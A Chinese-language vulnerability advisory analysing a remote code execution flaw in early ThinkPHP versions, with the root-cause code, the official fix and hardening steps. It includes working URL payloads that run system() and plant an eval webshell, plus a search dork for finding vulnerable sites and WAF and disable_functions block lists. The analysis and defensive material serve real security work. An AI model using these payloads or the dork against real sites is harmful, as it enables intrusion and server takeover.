首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

ThinkPHP 早期版本任意程式碼執行漏洞分析與修復方案

     編輯:PHP 綜合知識

漏洞概述

ThinkPHP 3.1.3 及更早版本(含 3.0、3.1 系列)在 Dispatcher.class.php 路由解析邏輯中,使用 preg_replace 的 /e 修飾符(已棄用且極度危險)直接執行使用者可控輸入,導致未經授權的任意 PHP 程式碼執行(RCE)。攻擊者可構造特定 URL 參數,繞過輸入過濾,直接在伺服器執行任意指令,完全控制 Web 應用甚至主機。

漏洞利用示例(僅供防禦研究)

# 獲取 ThinkPHP 版本
/index.php/module/action/param1/${@print(THINK_VERSION)}

# 執行 phpinfo() 洩露伺服器資訊
/index.php/module/action/param1/${@phpinfo()}

# 列出網站目錄檔案
/index.php/module/action/param1/{${system($_GET['x'])}}?x=ls%20-al

# 寫入一句话木馬(配合菜刀連接)
/index.php/module/action/param1/{${eval($_POST[s])}}

漏洞根因程式碼分析

檔案:ThinkPHP/Lib/Core/Dispatcher.class.php

// 易受攻擊的原始程式碼(約第 100 行)
$res = preg_replace(
    '@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', 
    '$var[\'\\1\']="\\2";', 
    implode($depr, $paths)
);

關鍵問題:

  1. 使用 @e 修飾符:將替換字串視為 PHP 程式碼執行。
  2. 替換字串 '$var[\'\\1\']="\\2";' 使用雙引號,導致 \\2 中的變數語法(如 ${@phpinfo()})被解析執行。
  3. $paths 來源於 URL 路徑參數,攻擊者可完全控制。

官方修復方案(原碼修改)

// 修復後:將雙引號改為單引號,阻止變數解析
$res = preg_replace(
    '@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', 
    '$var[\'\\1\']=\'\\2\';',  // 單引號包裹,內容視為字面字串
    implode($depr, $paths)
);

原理:單引號字串不解析變數,'\\2' 即使包含 ${...} 也僅作為普通字串存入陣列,不會被執行。

更徹底的現代化修復(建議)

/e 修飾符自 PHP 5.5.0 棄用,PHP 7.0.0 移除。若專案仍在維護,強烈建議升級至 ThinkPHP 3.2.3+ 或 5.0/6.0/8.0 版本。若必須維護舊版,請將上述 preg_replace 替換為 preg_replace_callback:

$res = preg_replace_callback(
    '@(\w+)'.$depr.'([^'.$depr.'\/]+)@',
    function ($matches) use (&$var) {
        $var[$matches[1]] = $matches[2];
        return '';
    },
    implode($depr, $paths)
);

緊急防護措施(無法升級/修改原碼時)

  1. WAF 規則:攔截 URL 中包含 ${、@{、eval(、system(、assert( 等特徵的請求。
  2. PHP 設定:disable_functions = exec,system,shell_exec,passthru,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,eval,assert(視業務影響評估)。
  3. 目錄權限:Web 目錄嚴禁寫入權限;上傳目錄禁用腳本執行權限。
  4. 監控告警:部署 RASP(如 OpenRASP)或日誌審計,偵測異常 preg_replace 呼叫。

影響範圍與檢測

  • ThinkPHP 3.0.x、3.1.0~3.1.3 全版本
  • Google Dork:thinkphp intitle:"系统发生错误" 可快速發現潛在受害站點
  • 檢測腳本:向 /index.php/test/${@print(md5(1))} 發送請求,回應含 c4ca4238a0b923820dcc509a6f75849b 即存在漏洞
⚠️ 法律聲明:本文僅供安全研究、防禦加固與教學用途。未經授權對他人系統進行漏洞掃描、利用或攻擊均屬違法行為,嚴禁用於非法用途。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved